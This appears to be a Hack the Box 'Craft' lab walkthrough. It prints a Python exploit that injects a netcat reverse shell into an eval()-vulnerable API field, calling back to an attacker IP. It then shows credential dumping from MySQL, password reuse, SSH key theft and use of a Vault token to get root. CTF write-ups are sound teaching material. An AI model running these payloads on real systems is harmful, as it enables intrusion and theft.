Hack the Box – Craft Walkthrough

Today we’re going to solve another CTF machine “ Craft ”. It is now retired box and can be accessible if you’re a VIP member.

Specifications

  • Target OS: Linuxx
  • IP Address: 10.10.10.110
  • Difficulty: Medium

Contents

  • Getting user
  • Getting root

Enumeration

As always, the first step consists of reconnaissance phase as port scanning.

Ports Scanning

During this step we’re gonna identify the target to see what we have behind the IP Address.

nmap -sC -sV -oA 10.10.10.110

Enumerating Port 443

If we browse the URL https://10.10.10.110 we get this and there’s an API menu let’s click on that.

Enumerating Craft API

If we browse api.craft.htb/api

Enumerating Gogs

If we browse gogs.craft.htb

We’ll get these two vhosts with API service and Gogs respository service running on server.

If we explore on Gogs there’s an public repository named craft-api .

There’s an opened Issues by user Dinesh Chugtai which revels craft api token.

curl -H 'X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -H "Content-Type: application/json" -k -X POST https://api.craft.htb/api/brew/ --data '{"name":"bullshit","brewer":"bullshit", "style": "bullshit", "abv": "15.0")}

Token can be helpful for later use of accessing craft api.

Dinesh commits a2d28ed155 , c414b16057 has some useful information.

dinesh
4aUh0A8PbVJxgd

import requests
import json

-response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
+response = requests.get('https://api.craft.htb/api/auth/login',  auth=('', ''), verify=False)
json_response = json.loads(response.text)
token =  json_response['token']

Another commit revels vulnerable function being used in code.

There’s an test.py file let’s wget and run it.

wget --no-check-certificate https://gogs.craft.htb/Craft/craft-api/raw/10e3ba4f0a09c778d7cec673f28d410b73455a86/tests/test.py

The script doesn’t run unless we include this in our code.

import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

test

We got the response.

Exploitation

Edit the script and add reverse shell to abv values since we have vulnerable eval() function.

#!/usr/bin/env python
import requests
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token =  json_response['token']
headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json'  }

# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)

# create a sample brew with bogus ABV... should fail.

print("Create bogus ABV brew")
brew_dict = {}
brew_dict['abv'] = "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 1337 >/tmp/f')"
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)

And we got shell

shell

Looking around in file system, we see .dockerenv file which shows its a docker container.

Let’s do ifconfig and check the IP Address of our machine.

ifconfig

settings

FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False  # Do not use debug mode in production

RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'

# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False

We found MYSQL Database creds let’s connect to database and see tables.

user='craft', password='qLGockJ6G2J75O', db='craft'

/opt/app # cat e2.py
#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)

try: 
    with connection.cursor() as cursor:
        sql = "SELECT * FROM user"
        cursor.execute(sql)
        result = cursor.fetchall()
        print(result)

finally:
    connection.close()
    
/opt/app # python e2.py
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]

So, we found some creds through mysql.

dinesh::4aUh0A8PbVJxgd
ebachman::llJ77D8QFkLPQB
gilfoyle::ZEU3N8WNM2rh4T

Let’s try those creds on gogs.

We were able to login into gilfoyle account and we can see private repository named craft-infra .

There’s an .ssh directory which seems interesting.

There’s an public and private SSH key which needed to be looked let’s download them in to our local machine.

chmod 600 id_rsa
ssh -i id_rsa gilfoyle@craft.htb
Password: ZEU3N8WNM2rh4T

Now, we’re on a real craft machine.

network

Privilege Escalation

There’s an vault token.

vault%20token

If we login to gilfoyle account on gogs and see private repository there’s and secrets.sh file.

secrets

Let’s read the documentation of vault.

vault%20login

Now, we have key generated let’s login to ssh with root@127.0.0.1

e244d0ef-05d5-29fa-cb0d-4f2ccea022d4

root

1 Like